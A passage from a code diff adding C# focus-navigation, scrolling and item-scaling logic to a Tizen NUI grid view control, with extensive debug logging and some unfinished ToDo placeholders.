+                        if (destCellIndex >= focusedColumn.cellList.Count)
+                        {
+                            destFocusItemIndex = -1;
+                        }
+                        else
+                        {
+                            destFocusItemIndex = nextCell.itemIndex;
+                            if (destFocusItemIndex >= 0 && destFocusItemIndex < groupList.ElementAt(destFocusGroupIndex).itemList.Count)
+                            {
+                                if (GridType.Horizontal == gridType)
+                                {
+                                    refYForFocusMove = nextCell.rect.Y;
+                                }
+                                else
+                                {
+                                    refXForFocusMove = nextCell.rect.X;
+                                }
+                            }
+                        }
+                    }
+
+                    break;
+                case "Left":
+                    if (curFocusedCell.columnIndex == 0)
+                    {
+                        if (fromGroupIndex == 0)
+                        {
+                            if (StateLeftCircularEnable && true/*check whether  allow to loop*/)
+                            {
+                                destFocusGroupIndex = groupList.Count - 1;
+                                destFocusColumnIndex = groupList.ElementAt(destFocusGroupIndex).columnList.Count - 1;
+
+                                GetNearestItem(curFocusedCell, destFocusGroupIndex, destFocusColumnIndex, ref destFocusItemIndex, true);
+                                int itemCount = groupList.ElementAt(destFocusGroupIndex).itemList.Count;
+                                while (destFocusItemIndex >= itemCount)
+                                {
+                                    destFocusColumnIndex--;
+                                    GetNearestItem(curFocusedCell, destFocusGroupIndex, destFocusColumnIndex, ref destFocusItemIndex, true);
+                                }
+
+                                bool bEnabled = gridBridge.IsItemEnabled(destFocusGroupIndex, destFocusItemIndex);
+                                while (bEnabled == false)
+                                {
+                                    destFocusColumnIndex--;
+                                    GetNearestItem(curFocusedCell, destFocusGroupIndex, destFocusColumnIndex, ref destFocusItemIndex, true);
+                                    bEnabled = gridBridge.IsItemEnabled(destFocusGroupIndex, destFocusItemIndex);
+                                }
+
+                                /*ToDo Left Circular*/
+                                SetFocus(destFocusGroupIndex, destFocusItemIndex);
+                                return;
+                            }
+                            else
+                            {
+                                destFocusItemIndex = -1;
+                            }
+
+                        }
+                        else
+                        {
+                            destFocusGroupIndex = fromGroupIndex - 1;
+                            destFocusColumnIndex = groupList.ElementAt(destFocusGroupIndex).columnList.Count - 1;
+
+                            GetNearestItem(curFocusedCell, destFocusGroupIndex, destFocusColumnIndex, ref destFocusItemIndex, true);
+                            int itemCount = groupList.ElementAt(destFocusGroupIndex).itemList.Count;
+                            while (destFocusItemIndex >= itemCount)
+                            {
+                                destFocusColumnIndex--;
+                                GetNearestItem(curFocusedCell, destFocusGroupIndex, destFocusColumnIndex, ref destFocusItemIndex, true);
+                            }
+                        }
+                    }
+                    else
+                    {
+                        destFocusGroupIndex = fromGroupIndex;
+                        destFocusColumnIndex = curFocusedCell.columnIndex - 1;
+
+                        GetNearestItem(curFocusedCell, destFocusGroupIndex, destFocusColumnIndex, ref destFocusItemIndex, true);
+                    }
+
+                    break;
+                case "Right":
+                    {
+                        focusedColumnIndex = curFocusedCell.columnIndex;
+                    }
+
+                    Tizen.Log.Fatal("NUI", ">>>>>>>>> focusedColumnIndex: " + focusedColumnIndex);
+                    if (focusedColumnIndex == focusedGroup.columnList.Count - 1 || focusedColumnIndex == focusedGroup.lastFilledColumnIndex)
+                    {
+                        if (fromGroupIndex == groupList.Count - 1)
+                        {
+                            if (StateRightCircularEnable && true/*check whether allow right circular*/)
+                            {
+                                destFocusGroupIndex = 0;
+                                destFocusColumnIndex = 0;
+
+                                GetNearestItem(curFocusedCell, destFocusGroupIndex, destFocusColumnIndex, ref destFocusItemIndex, true);
+
+                                bool bEnabled = gridBridge.IsItemEnabled(destFocusGroupIndex, destFocusItemIndex);
+                                while (bEnabled == false && destFocusColumnIndex < focusedGroup.columnList.Count - 1)
+                                {
+                                    destFocusColumnIndex++;
+                                    GetNearestItem(curFocusedCell, destFocusGroupIndex, destFocusColumnIndex, ref destFocusItemIndex, true);
+                                    bEnabled = gridBridge.IsItemEnabled(destFocusGroupIndex, destFocusItemIndex);
+
+                                    refXForFocusMove = refYForFocusMove = -1;
+                                }
+
+                                /*ToDo Left Circular*/
+                                SetFocus(destFocusGroupIndex, destFocusItemIndex);
+                                return;
+                            }
+                            else
+                            {
+                                destFocusItemIndex = -1;
+                            }
+                        }
+                        else
+                        {
+                            destFocusGroupIndex = fromGroupIndex + 1;
+                            destFocusColumnIndex = 0;
+
+                            GetNearestItem(curFocusedCell, destFocusGroupIndex, destFocusColumnIndex, ref destFocusItemIndex, true);
+                        }
+                    }
+                    else
+                    {
+                        destFocusGroupIndex = fromGroupIndex;
+                        destFocusColumnIndex = focusedColumnIndex + 1;
+
+                        Tizen.Log.Fatal("NUI", ">>>>>>>>> destFocusGroupIndex: " + destFocusGroupIndex + " destFocusColumnIndex:" + destFocusColumnIndex);
+                        GetNearestItem(curFocusedCell, destFocusGroupIndex, destFocusColumnIndex, ref destFocusItemIndex, true);
+                        Tizen.Log.Fatal("NUI", ">>>>>>>>> destFocusItemIndex: " + destFocusItemIndex);
+
+                        if (StateRightCircularEnable)
+                        {
+                            if (destFocusItemIndex >= groupList.ElementAt(destFocusGroupIndex).itemList.Count)
+                            {
+                                MoveFocus(direction, destFocusGroupIndex, destFocusItemIndex);
+                                return;
+                            }
+                        }
+                    }
+
+                    break;
+                default:
+                    break;
+            }
+
+
+            Tizen.Log.Fatal("NUI", ">>>>>>>>> destFocusGroupIndex: " + destFocusGroupIndex + " destFocusColumnIndex:" + destFocusColumnIndex);
+            if (destFocusGroupIndex >= 0 && destFocusItemIndex >= groupList.ElementAt(destFocusGroupIndex).itemList.Count)
+            {
+                destFocusItemIndex = -1;
+            }
+
+            Tizen.Log.Fatal("NUI", ">>>>>>>>> destFocusItemIndex: " + destFocusItemIndex);
+            if (destFocusItemIndex == -1)
+            {
+                //notify event focus move out
+                return;
+            }
+
+            if (gridBridge.IsItemEnabled(destFocusGroupIndex, destFocusItemIndex) == false)
+            {
+                MoveFocus(direction, destFocusGroupIndex, destFocusItemIndex);
+            }
+            else
+            {
+                PushFocus(destFocusGroupIndex, destFocusItemIndex);
+            }
+
+            Tizen.Log.Fatal("NUI", ">>>>>>>>> ");
+        }
+
+
+        private void GetNearestItem(Cell focusedCell, int destGroupIndex, int destColumnIndex, ref int destItemIndex, bool bDirectMove = false)
+        {
+            Group destGroup = groupList.ElementAt(destGroupIndex);
+            Column destColumn = destGroup.columnList.ElementAt(destColumnIndex);
+
+            Cell nextCell = destColumn.cellList.ElementAt(0);
+            int cellCount = destColumn.cellList.Count;
+
+            bool bNotAllItemDisabled = false;
+            for (int i = 0; i < cellCount; i++)
+            {
+                Cell curCell = destColumn.cellList.ElementAt(i);
+                if (curCell.itemIndex >= 0 && curCell.itemIndex < destGroup.itemList.Count)
+                {
+                    if (gridBridge.IsItemEnabled(destGroupIndex, curCell.itemIndex))
+                    {
+                        bNotAllItemDisabled = true;
+                        break;
+                    }
+                }
+            }
+
+            float yDis = gridHeight + 1;
+            bool bFound = false;
+            for (int i = 0; i < cellCount; i++)
+            {
+                Cell curCell = destColumn.cellList.ElementAt(i);
+                if (curCell.itemIndex >= destGroup.itemList.Count)
+                {
+                    break;
+                }
+
+                if (curCell.itemIndex >= 0 && bNotAllItemDisabled)
+                {
+                    if (gridBridge.IsItemEnabled(destGroupIndex, curCell.itemIndex) == false)
+                    {
+                        continue;
+                    }
+                }
+
+                if (curCell.itemIndex < 0)
+                {
+                    Column realColumn = destGroup.columnList.ElementAt(curCell.columnIndex);
+                    Cell realCell = realColumn.cellList.ElementAt(curCell.rowIndex);
+                    if (realCell.itemIndex >= destGroup.itemList.Count || gridBridge.IsItemEnabled(destGroupIndex, realCell.itemIndex) == false)
+                    {
+                        continue;
+                    }
+                }
+
+                if (GridType.Vertical == gridType)
+                {
+                    float tempXDis;
+                    if (StateStraightPathEnable)
+                    {
+                        tempXDis = Math.Abs(curCell.rect.X - refXForFocusMove);
+                    }
+                    else
+                    {
+                        tempXDis = Math.Abs(curCell.rect.X - focusedCell.rect.X);
+                    }
+
+                    if (tempXDis < yDis)
+                    {
+                        bFound = true;
+                        yDis = tempXDis;
+                        nextCell = curCell;
+                        if (yDis == 0)
+                        {
+                            break;
+                        }
+                    }
+                }
+                else
+                {
+                    float tempYDis;
+                    if (StateStraightPathEnable)
+                    {
+                        tempYDis = Math.Abs(curCell.rect.Y - refYForFocusMove);
+                    }
+                    else
+                    {
+                        tempYDis = Math.Abs(curCell.rect.Y - focusedCell.rect.Y);
+                    }
+
+                    if (tempYDis < yDis)
+                    {
+                        bFound = true;
+                        yDis = tempYDis;
+                        nextCell = curCell;
+                        if (yDis == 0)
+                        {
+                            break;
+                        }
+                    }
+                }
+
+            }
+
+            {
+                destItemIndex = nextCell.itemIndex;
+                if (bFound)
+                {
+                    refXForFocusMove = nextCell.rect.X;
+                    if (bDirectMove == false)
+                    {
+                        refYForFocusMove = nextCell.rect.Y;
+                    }
+                }
+            }
+        }
+
+        private string GetLogicalDirection(string direction)
+        {
+            string logicalDirection = direction;
+
+            if (GridType.Vertical == gridType)
+            {
+                if ("Left" == direction)
+                {
+                    logicalDirection = "Up";
+                }
+                else if ("Right" == direction)
+                {
+                    logicalDirection = "Down";
+                }
+                else if ("Down" == direction)
+                {
+                    logicalDirection = "Right";
+                }
+                else if ("Up" == direction)
+                {
+                    logicalDirection = "Left";
+                }
+            }
+
+            return logicalDirection;
+        }
+
+        private Cell FindCellBelow(Cell fromCell, int destGroupIndex, int destColumnIndex)
+        {
+            Group destGroup = groupList.ElementAt(destGroupIndex);
+
+            if (destColumnIndex < 0 || destColumnIndex >= destGroup.columnList.Count)
+            {
+                return null;
+            }
+
+            Column destColumn = destGroup.columnList.ElementAt(destColumnIndex);
+
+            for (int i = 0; i < destColumn.cellList.Count; i++)
+            {
+                Cell destCell = destColumn.cellList.ElementAt(i);
+
+                if (destCell.rect.Y > fromCell.rect.Y && destCell.rect.Y + destCell.rect.Height > fromCell.rect.Y + fromCell.rect.Height)
+                {
+                    {
+                        return destCell;
+                    }
+                }
+            }
+
+            return null;
+        }
+
+        private void SetFocus(int groupIndex, int itemIndex, bool bAnimation = false, Position newItemGroupPos = null)
+        {
+            Tizen.Log.Fatal("NUI", ">>>>>>>>> groupIndex: " + groupIndex + " itemIndex: " + itemIndex);
+            if (!IsItemIndexValid(groupIndex, itemIndex))
+            {
+                return;
+            }
+
+            bool bNeedScroll = false;
+            
+            if (newItemGroupPos == null)
+            {
+                Position itemGroupPos = new Position(0, 0, 0);
+                bNeedScroll = GetItemGroupPosByFocusItem(groupIndex, itemIndex, itemGroupPos);
+
+                itemGroupRect.X = itemGroupPos.X;
+                itemGroupRect.Y = itemGroupPos.Y;
+            }
+            else
+            {
+                if (GridType.Horizontal == gridType && itemGroupRect.X != newItemGroupPos.X
+                   || GridType.Vertical == gridType && itemGroupRect.Y != newItemGroupPos.Y)
+                {
+                    bNeedScroll = true;
+                }
+
+                itemGroupRect.X = newItemGroupPos.X;
+                itemGroupRect.Y = newItemGroupPos.Y;
+            }
+
+            Tizen.Log.Fatal("NUI", ">>>>>>>>> bNeedScroll: " + bNeedScroll + " itemGroupRect.X: " + itemGroupRect.X + " itemGroupRect.Y: " + itemGroupRect.Y);
+            ResetItemGroupRectPos();
+
+            Tizen.Log.Fatal("NUI", ">>>>>>>>> bNeedScroll: " + bNeedScroll + " itemGroupRect.X: " + itemGroupRect.X + " itemGroupRect.Y: " + itemGroupRect.Y);
+            if (bNeedScroll)
+            {
+                Tizen.Log.Fatal("NUI", ">>>>>>>>> bAnimation: " + bAnimation);
+                if (bAnimation == true)
+                {
+                    FocusMoveViaObject obj = new FocusMoveViaObject();
+                    obj.toGroupIndex = groupIndex;
+                    obj.toItemIndex = itemIndex;
+                    focusMoveViaQ.Enqueue(obj);
+
+                    if (gridType == GridType.Horizontal)
+                    {
+                        focusMoveAni.SetDestination("PositionX", itemGroupRect.X);
+                    }
+                    else
+                    {
+                        focusMoveAni.SetDestination("PositionY", itemGroupRect.Y);
+                    }
+
+                    focusMoveAni.Play();
+                }
+                else
+                {
+                    UpdateInMemoryItems();
+                    itemGroup.PositionX = itemGroupRect.X;
+                    itemGroup.PositionY = itemGroupRect.Y;
+                    NotifyFocusChange(focusGroupIndex, focusItemIndex, groupIndex, itemIndex);
+                }
+            }
+            else
+            {
+                NotifyFocusChange(focusGroupIndex, focusItemIndex, groupIndex, itemIndex);
+            }
+
+            focusTagGroupIndex = groupIndex;
+            focusTagItemIndex = itemIndex;
+
+            Tizen.Log.Fatal("NUI", ">>>>>>>>> itemGroupRect: " + itemGroupRect.X + ", " + itemGroupRect.Y + ", " + itemGroupRect.Width + ", " + itemGroupRect.Height);
+            Tizen.Log.Fatal("NUI", ">>>>>>>>> itemGroup: " + itemGroup.PositionX + ", " + itemGroup.PositionY + ", " + itemGroup.SizeWidth + ", " + itemGroup.SizeHeight);
+        }
+
+
+        private void PushFocus(int groupIndex, int itemIndex)
+        {
+            Tizen.Log.Fatal("NUI", ">>>>>>>>> groupIndex: " + groupIndex + " itemIndex:" + itemIndex);
+            if (!IsItemIndexValid(groupIndex, itemIndex))
+            {
+                return;
+            }
+
+            Position itemGroupPos = new Position(0, 0, 0);
+            bool bNeedScroll = GetItemGroupPosByFocusItem(groupIndex, itemIndex, itemGroupPos);
+
+            itemGroupRect.X = itemGroupPos.X;
+            itemGroupRect.Y = itemGroupPos.Y;
+            Tizen.Log.Fatal("NUI", ">>>>>>>>> itemGroupRect.X: " + itemGroupRect.X + " itemGroupRect.Y:" + itemGroupRect.Y);
+
+            ResetItemGroupRectPos();
+
+            //focusTag keep move, but real focus will set when focusMoveVia trigger,
+            //so remember context of focus move, include from and to, and itemGroupPos information
+            focusTagGroupIndex = groupIndex;
+            focusTagItemIndex = itemIndex;
+
+            Tizen.Log.Fatal("NUI", ">>>>>>>>> bNeedScroll: " + bNeedScroll + " itemGroupRect.X:" + itemGroupRect.X + " itemGroupRect.Y:" + itemGroupRect.Y);
+            if (bNeedScroll)
+            {
+                if (gridType == GridType.Horizontal)
+                {
+                    focusMoveAni.SetDestination("PositionX", itemGroupRect.X);
+                }
+                else
+                {
+                    focusMoveAni.SetDestination("PositionY", itemGroupRect.Y);
+                }
+
+                FocusMoveViaObject obj = new FocusMoveViaObject();
+                Tizen.Log.Fatal("NUI", ">>>>>>>>> focusMoveViaQ.Count: " + focusMoveViaQ.Count);
+                Tizen.Log.Fatal("NUI", "::::: " + focusGroupIndex + ", " + focusItemIndex);
+
+                obj.toGroupIndex = groupIndex;
+                obj.toItemIndex = itemIndex;
+                focusMoveViaQ.Enqueue(obj);
+                focusMoveAni.Play();
+            }
+            else
+            {
+                if (focusMoveAni.IsPlaying() == false)
+                {
+                    Tizen.Log.Fatal("NUI", "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ " + groupIndex + " " + itemIndex + " ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~");
+                    NotifyFocusChange(focusGroupIndex, focusItemIndex, groupIndex, itemIndex);
+                }
+            }
+            //To keep focusBar on the top of 
+
+            Tizen.Log.Fatal("NUI", ">>>>>>>>> ");
+        }
+
+        private bool GetItemGroupPosByFocusItem(int aFocusGroupIndex, int aFocusItemIndex, Position itemGroupPos)
+        {
+            bool bNeedScroll = false;
+            if (!IsItemIndexValid(aFocusGroupIndex, aFocusItemIndex))
+            {
+                return false;
+            }
+
+            Group focusedGroup = groupList.ElementAt(aFocusGroupIndex);
+            GridItem focusedItem = focusedGroup.itemList.ElementAt(aFocusItemIndex);
+
+            Tizen.Log.Fatal("NUI", ">>>>>>>>> itemGroupRect: " + itemGroupRect.X + ", " + itemGroupRect.Y + ", " + itemGroupRect.Width + ", " + itemGroupRect.Height);
+            Tizen.Log.Fatal("NUI", ">>>>>>>>> itemGroup: " + itemGroup.PositionX + ", " + itemGroup.PositionY + ", " + itemGroup.SizeWidth + ", " + itemGroup.SizeHeight);
+            Tizen.Log.Fatal("NUI", ">>>>>>>>> focusedItem.rect: " + focusedItem.rect.X + ", " + focusedItem.rect.Y + ", " + focusedItem.rect.Width + ", " + focusedItem.rect.Height);
+
+            Rect focusBarRectBaseOnList = new Rect(focusedItem.rect.X, focusedItem.rect.Y, focusedItem.rect.Width, focusedItem.rect.Height);
+            focusBarRectBaseOnList.X += itemGroupRect.X;
+            focusBarRectBaseOnList.Y += itemGroupRect.Y;
+
+            itemGroupPos.X = itemGroupRect.X;
+            itemGroupPos.Y = itemGroupRect.Y;
+
+            float startFocusRange;
+            float endFocusRange;
+
+            if (GridType.Horizontal == gridType)
+            {
+                if (0 == focusedItem.rect.X)
+                {
+                    startFocusRange = margin[0];
+                }
+                else
+                {
+                    Tizen.Log.Fatal("NUI", "Left  aFocusItemIndex:: " + aFocusGroupIndex + ", aFocusItemIndex:: " + aFocusItemIndex);
+                    GridItem prevItem = GetItemByDirection("Left", aFocusGroupIndex, aFocusItemIndex);
+                    //Tizen.Log.Fatal("NUI", "startFocusRange :: " + margin[0]);
+                    startFocusRange = prevItem != null ? prevItem.rect.Width / 2 : margin[0];
+                }
+
+                if (itemGroupRect.Width == focusedItem.rect.Right())
+                {
+                    endFocusRange = gridWidth - margin[2];
+                }
+                else
+                {
+                    GridItem nextItem = GetItemByDirection("Right", aFocusGroupIndex, aFocusItemIndex);
+                    //Tizen.Log.Fatal("NUI", "gridWidth::" + gridWidth + "  gridWidth - margin[2] :: " + (gridWidth - margin[2]));
+                    //Tizen.Log.Fatal("NUI", "gridWidth - nextItem.rect.Width / 2 :: " + (gridWidth - nextItem.rect.Width / 2));
+                    endFocusRange = nextItem != null ? gridWidth - nextItem.rect.Width / 2 : gridWidth - margin[2];
+                    Tizen.Log.Fatal("NUI", "endFocusRange :: " + endFocusRange);
+                }
+
+                if (focusBarRectBaseOnList.X < startFocusRange)
+                {
+                    Tizen.Log.Fatal("NUI", "focusBarRectBaseOnList.X :: " + focusBarRectBaseOnList.X + "  startFocusRange :: " + startFocusRange);
+                    itemGroupPos.X += startFocusRange - focusBarRectBaseOnList.X;
+                    bNeedScroll = true;
+                } 
+                else if (focusBarRectBaseOnList.Right() > endFocusRange)
+                {
+                    Tizen.Log.Fatal("NUI", "focusBarRectBaseOnList.Right() :: " + focusBarRectBaseOnList.Right() + "  endFocusRange :: " + endFocusRange);
+                    itemGroupPos.X += endFocusRange - focusBarRectBaseOnList.Right();
+                    bNeedScroll = true;
+                }
+            }
+            else
+            {
+                if (0 == focusedItem.rect.Y)
+                {
+                    startFocusRange = margin[1];
+                }
+                else
+                {
+                    GridItem prevItem = GetItemByDirection("Left", aFocusGroupIndex, aFocusItemIndex);
+                    startFocusRange = prevItem != null ? prevItem.rect.Height / 2 : margin[1];
+                }
+
+                if (itemGroupRect.Height == focusedItem.rect.Bottom())
+                {
+                    endFocusRange = gridHeight - margin[3];
+                }
+                else
+                {
+                    GridItem nextItem = GetItemByDirection("Right", aFocusGroupIndex, aFocusItemIndex);
+                    endFocusRange = nextItem != null ? gridHeight - nextItem.rect.Height / 2 : gridHeight - margin[3];
+                } 
+                
+                if (focusBarRectBaseOnList.Y < startFocusRange)
+                {
+                    itemGroupPos.Y += startFocusRange - focusBarRectBaseOnList.Y;
+                    bNeedScroll = true;
+                } 
+                else if (focusBarRectBaseOnList.Bottom() > endFocusRange)
+                {
+                    itemGroupPos.Y += endFocusRange - focusBarRectBaseOnList.Bottom();
+                    bNeedScroll = true;
+                }
+            }
+
+            return bNeedScroll;
+        }
+
+        private void NotifyFocusChange(int fromGroupIndex,int fromItemIndex,int toGroupIndex,int toItemIndex)
+        {
+            Tizen.Log.Fatal("NUI", ">>>>>>>>> fromGroupIndex: " + fromGroupIndex + " fromItemIndex: " + fromItemIndex + " toGroupIndex: " + toGroupIndex + " toItemIndex: " + toItemIndex);
+
+            if (IsItemIndexValid(fromGroupIndex, fromItemIndex) && (fromGroupIndex != toGroupIndex || fromItemIndex != toItemIndex))
+            {
+                Group preGroup = groupList.ElementAt(fromGroupIndex);
+                GridItem preItem = preGroup.itemList.ElementAt(fromItemIndex);
+
+                ScaleDownItem(preItem);
+                if (preItem.itemView != null)
+                {
+                    gridBridge.FocusChange(fromGroupIndex, fromItemIndex, preItem.itemView, false);
+                }
+            }
+
+            if (IsItemIndexValid(toGroupIndex, toItemIndex))
+            {
+                Group curGroup = groupList.ElementAt(toGroupIndex);
+                GridItem item = curGroup.itemList.ElementAt(toItemIndex);
+
+                ScaleUpItem(item);
+                if (item.itemView != null)
+                {
+                    Tizen.Log.Fatal("NUI", "Call GridBridge.FocusChange to set focus");
+                    gridBridge.FocusChange(toGroupIndex, toItemIndex, item.itemView, true);
+                }
+            }
+
+            //notify user focus change
+            GridEventArgs evtArgs = new GridEventArgs();
+            evtArgs.EventType = GridEventType.FocusChange;
+            evtArgs.param[0] = fromGroupIndex;
+            evtArgs.param[1] = fromItemIndex;
+            evtArgs.param[2] = toGroupIndex;
+            evtArgs.param[3] = toItemIndex;
+            OnListEvent(evtArgs);
+
+            if (toGroupIndex != -1 && toItemIndex != -1)
+            {
+                focusGroupIndex = toGroupIndex;
+                focusItemIndex = toItemIndex;
+            }
+
+            Tizen.Log.Fatal("NUI", ">>>>>>>>> focusGroupIndex: " + focusGroupIndex + " focusItemIndex: " + focusItemIndex);
+        }
+
+        private void ScaleUpItem(GridItem item)
+        {
+            if (item.itemView == null)
+            {
+                return;
+            }
+
+            item.itemView.RaiseToTop();
+            item.ScaleItem(new Vector3(focusInScaleFactor, focusInScaleFactor, 1.0f), focusInScaleAnimationAttrs);
+        }
+
+        private void ScaleDownItem(GridItem item)
+        {
+            if (item.itemView == null)
+            {
+                return;
+            }
+
+            item.ScaleItem(new Vector3(1.0f, 1.0f, 1.0f), focusOutScaleAnimationAttrs);
+        }
+
+        private void UpdateItemGroupSize()
+        {
+            if (groupList.Count == 0)
+            {
+                return;
+            }
+
+            Group lastGroup = groupList.ElementAt(groupList.Count - 1);
+
+            int lastItemIndex = lastGroup.itemList.Count - 1;
+            if (lastItemIndex < 0)
+            {
+                return;
+            }
+
+            Cell lastFilledCell = GetCellByItemIndex(groupList.Count - 1 ,lastItemIndex);
+            int lastFilledColumnIndex = lastFilledCell.columnIndex;
+            Column lastFilledColumn = lastGroup.columnList.ElementAt(lastFilledColumnIndex);
+            
+            int cellCount = lastFilledColumn.cellList.Count;
+            for (int i = 0; i < cellCount;  i++)
+            {
+                Cell curCell = lastFilledColumn.cellList.ElementAt(i);
+                if (curCell.columnIndex > lastFilledColumnIndex)
+                {
+                    lastFilledColumnIndex = lastFilledColumn.cellList.ElementAt(i).columnIndex;
+                }
+            }
+
+            lastFilledColumn = lastGroup.columnList.ElementAt(lastFilledColumnIndex);
+
+            float width, height;
+
+            if (GridType.Horizontal == gridType)
+            {
+                width = lastFilledColumn.endPos;
+                height = gridHeight - (margin[1] + margin[3]);
+            }
+            else
+            {
+                width = gridWidth - (margin[0] + margin[2]);
+                height = lastFilledColumn.endPos;
+            }
+
+            itemGroupRect.Width = width;
+            itemGroupRect.Height = height;
+
+            Tizen.Log.Fatal("NUI", ">>>>>>>>> itemGroupRect: " + itemGroupRect.X + ", " + itemGroupRect.Y + ", " + itemGroupRect.Width + ", " + itemGroupRect.Height);
+            Tizen.Log.Fatal("NUI", ">>>>>>>>> itemGroup: " + itemGroup.PositionX + ", " + itemGroup.PositionY + ", " + itemGroup.SizeWidth + ", " + itemGroup.SizeHeight);
+            itemGroup.SizeWidth = itemGroupRect.Width;
+            itemGroup.SizeHeight = itemGroupRect.Height;
+        }
+
+        private void InitItemGroupPosition()
+        {
+            if (GridType.Horizontal == gridType)
+            {
+                if (itemGroupRect.X > margin[0])
+                {
+                    itemGroupRect.X = margin[0];
+                }
+                else if (itemGroupRect.Right() < gridWidth)
+                {
+                    if (itemGroupRect.X >= gridWidth)
+                    {
+                        itemGroupRect.X = gridWidth - itemGroupRect.Width;
+                    }
+                    else
+                    {
+                        itemGroupRect.X = 0;
+                    }
+                }
+
+                itemGroupRect.Y = margin[1];
+            }
+            else
+            {
+                itemGroupRect.X = margin[0];
+                if (itemGroupRect.Y > margin[1])
+                {
+                    itemGroupRect.Y = margin[1];
+                }
+                else if (itemGroupRect.Y + itemGroupRect.Height < gridHeight)
+                {
+                    if (itemGroupRect.Y >= gridHeight)
+                    {
+                        itemGroupRect.Y = gridHeight - itemGroupRect.Height;
+                    }
+                    else
+                    {
+                        itemGroupRect.Y = 0;
+                    }
+                }
+            }
+
+            Tizen.Log.Fatal("NUI", ">>>>>>>>> itemGroupRect: " + itemGroupRect.X + ", " + itemGroupRect.Y + ", " + itemGroupRect.Width + ", " + itemGroupRect.Height);
+            ResetItemGroupRectPos();
+
+            itemGroup.PositionX = itemGroupRect.X;
+            itemGroup.PositionY = itemGroupRect.Y;
+        }
+
+        private void ResetItemGroupRectPos()
+        {
+            //adjust item Group pos, to add margin when item group scroll to Head or Tail
+            if (GridType.Horizontal == gridType)
+            {
+                if (itemGroupRect.X == 0)
+                {
+                    itemGroupRect.X += margin[0];
+                }
+                else if (itemGroupRect.Right() == gridWidth)
+                {
+                    itemGroupRect.X -= margin[2];
+                }
+            }
+            else
+            {
+                if (itemGroupRect.Y == 0)
+                {
+                    itemGroupRect.Y += margin[1];
+                }
+                else if (itemGroupRect.Bottom() == gridHeight)
+                {
+                    itemGroupRect.Y -= margin[3];
+                }
+            }
+        }
+
+        private Cell GetCellByItemIndex(int groupIndex, int itemIndex)
+        {
+            Cell curCell = null;
+            if (!IsGroupIndexValid(groupIndex))
+            {
+                Tizen.Log.Fatal("NUI", string.Format("[GridView]Invalid group index"));
+                return null;
+            }
+
+            Group curGroup = groupList.ElementAt(groupIndex);
+            if (curGroup.itemIndexToCell.ContainsKey(itemIndex))
+            {
+                curCell = curGroup.itemIndexToCell[itemIndex];
+            }
+
+            return curCell;
+        }
+
+        private bool IsGroupIndexValid(int groupIndex)
+        {
+            return (groupIndex >= 0 && groupList != null && groupIndex < groupList.Count);
+        }
+
+        private bool IsItemIndexValid(int groupIndex, int itemIndex)
+        {
+            if (!IsGroupIndexValid(groupIndex))
+            {
+                Tizen.Log.Fatal("NUI", string.Format("[GridView]Invalid group index"));
+                return false;
+            }
+
+            Group curGroup = groupList.ElementAt(groupIndex); 
+
+            return (itemIndex >= 0 && curGroup.itemList != null && itemIndex < curGroup.itemList.Count);
+        }
+
+        private bool IsColumnIndexValid(int groupIndex, int columnIndex)
+        {
+            if (!IsGroupIndexValid(groupIndex))
+            {
+                Tizen.Log.Fatal("NUI", string.Format("[GridView]Invalid group index"));
+                return false;
+            }
+
+            Group curGroup = groupList.ElementAt(groupIndex);
+
+            return (columnIndex >= 0 && curGroup.columnList != null && columnIndex < curGroup.columnList.Count);
+        }
+
+        private bool IsCellIndexValid(int groupIndex, int columnIndex, int cellIndex)
+        {
+            if (!IsColumnIndexValid(groupIndex, columnIndex))
+            {
+                Tizen.Log.Fatal("NUI", string.Format("[GridView]Invalid column index"));
+                return false;
+            }
+
+            Column curColumn = groupList.ElementAt(groupIndex).columnList.ElementAt(columnIndex);
+
+            return (cellIndex >= 0 && curColumn.cellList != null && cellIndex < curColumn.cellList.Count);
+        }
+
+        /// <summary>
+        /// Called when the control gain key input focus.
+        /// </summary>
+        /// <param name="sender">the object</param>
+        /// <param name="e">the args of the event</param>
+        public void ControlFocusGained(object sender, EventArgs e)
+        {
+            OnFocusGained();
+        }
+
+        public void OnFocusGained()
+        {
+            Tizen.Log.Fatal("NUI", ">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ");
+            SetFocus(focusGroupIndex, focusItemIndex);
+        }
+
+        /// <summary>
+        /// Called when the control loses key input focus.
+        /// </summary>
+        /// <param name="sender">the object</param>
+        /// <param name="e">the args of the event</param>
+        public void ControlFocusLost(object sender, EventArgs e)
+        {
+            OnFocusLost();
+        }
+
+        public void OnFocusLost()
+        {
+            Tizen.Log.Fatal("NUI", "<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<");
+            NotifyFocusChange(focusGroupIndex, focusItemIndex, -1, -1);
+        }
+
+        private void OnFocusMoveViaEvent(object o, EventArgs e)
+        {
+            Tizen.Log.Fatal("NUI", "--------------------- " + focusMoveViaQ.Count + " -------------------------------");
+            if (focusMoveViaQ.Count > 0)
+            {
+                {
+                    FocusMoveViaObject obj = focusMoveViaQ.Dequeue();
+                    {
+                        UpdateInMemoryItems(itemGroup.Position);
+                    }
+
+                    {
+                        //common focus notify focus change at destination of every via
+                        NotifyFocusChange(focusGroupIndex, focusItemIndex, obj.toGroupIndex, obj.toItemIndex);
+                    }
+                }
+
+                //viaMap1.Remove(args.ViaNode);
+            }
+        }
+
+        private void OnDataChange(object o, GridBridge.DataChangeEventArgs e)
+        {
+            switch (e.ChangeType)
+            {
+                case GridBridge.DataChangeEventType.Add:
+                    AddItem(e.param[0]);
+                    break;
+                case GridBridge.DataChangeEventType.Remove:
+                    DeleteItem(e.param[0], e.param[1], e.param[2]);
+                    break;
+                case GridBridge.DataChangeEventType.Insert:
+                    InsertItem(e.param[0], e.param[1]);
+                    break;
+                case GridBridge.DataChangeEventType.Clear:
+                    Clear();
+                    break;
+                case GridBridge.DataChangeEventType.Reset:
+                    ResetByData();
+                    break;
+                case GridBridge.DataChangeEventType.Load:
+                    Load();
+                    Group curGroup = groupList.ElementAt(e.param[0]);
+                    for (int i = e.param[1]; i < gridBridge.GetItemCount(e.param[0]); i++)
+                    {
+                        if (i < curGroup.itemList.Count)
+                        {
+                            gridBridge.UpdateItem(e.param[0], i, curGroup.itemList.ElementAt(i).itemView);
+                        }
+                    }
+
+                    if (focusItemIndex >= e.param[1] && focusItemIndex <= e.param[1] + e.param[2] - 1)
+                    {
+                        if (e.param[1] > 0)
+                        {
+                            SetFoucsItemIndex(e.param[1] - 1, focusGroupIndex);
+                        }
+                        else if (e.param[1] + e.param[2] < curGroup.itemList.Count)
+                        {
